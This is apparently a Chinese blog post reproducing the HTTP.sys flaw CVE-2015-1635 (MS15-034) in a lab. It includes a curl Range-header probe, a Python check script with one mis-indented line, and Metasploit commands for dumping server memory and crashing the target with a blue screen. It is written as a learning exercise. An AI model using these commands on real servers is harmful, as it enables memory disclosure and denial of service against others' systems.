zoukankan      html  css  js  c++  java
  • 【复现】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)

    1.1.1  漏洞描述

    在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

    1.1.2  漏洞测试

    环境搭建:

    靶机:  win7(192.168.80.130)

    攻击机: kali(192.168.80.129)

    (1)使用curl工具进行测试,测试命令:

    curl http://192.168.80.130 -H "Host: 192.168.80.130" -H "Range: bytes=0-18446744073709551615"

    测试结果截图:

     

    (2)使用POC测试,代码为:

    import socket
    
    import random
    
    ipAddr = "192.168.80.130"
    
    hexAllFfff = "18446744073709551615"
    
    req1 = "GET / HTTP/1.0
    
    "
    
    req = "GET / HTTP/1.1
    Host: stuff
    Range: bytes=0-" + hexAllFfff + "
    
    "
    
    print "[*] Audit Started"
    
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    client_socket.connect((ipAddr, 80))
    
    client_socket.send(req1)
    
    boringResp = client_socket.recv(1024)
    
    if "Microsoft" not in boringResp:
    
        print "[*] Not IIS"
    
        exit(0)
    
    client_socket.close()
    
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    client_socket.connect((ipAddr, 80))
    
    client_socket.send(req)
    
    goodResp = client_socket.recv(1024)
    
    if "Requested Range Not Satisfiable" in goodResp:
    
        print "[!!] Looks VULN"
    
    elif " The request has an invalid header name" in goodResp:
    
        print "[*] Looks Patched"
    
    else:
    
    print "[*] Unexpected response, cannot discern patch status"

    测试结果截图:

     

    1.1.3  漏洞利用

    (1)利用ms15-034漏洞读取服务器内存数据

    借助metasploit平台,截图如下:

    use auxiliary/scanner/http/ms15_034_http_sys_memory_dump 

    set rhosts 192.168.80.130

    run

     

    (2)利用ms15-034漏洞进行ddos攻击

    同样借助metasploit平台,截图如下:

    use auxiliary/dos/http/ms15_034_ulonglongadd 

    set rhosts 192.168.80.130

    set threads 10

    run

     

    攻击开始后,win7瞬间蓝屏然后自动重启,截图如下:

     

    1.1.4  漏洞修复

    禁用IIS内核缓存(可能降低IIS性能)

     

     

  • 相关阅读:
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    基于分布式锁解决定时任务重复问题
    基于Redis的Setnx实现分布式锁
    基于数据库悲观锁的分布式锁
    使用锁解决电商中的超卖
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/8529261.html
Copyright © 2011-2022 走看看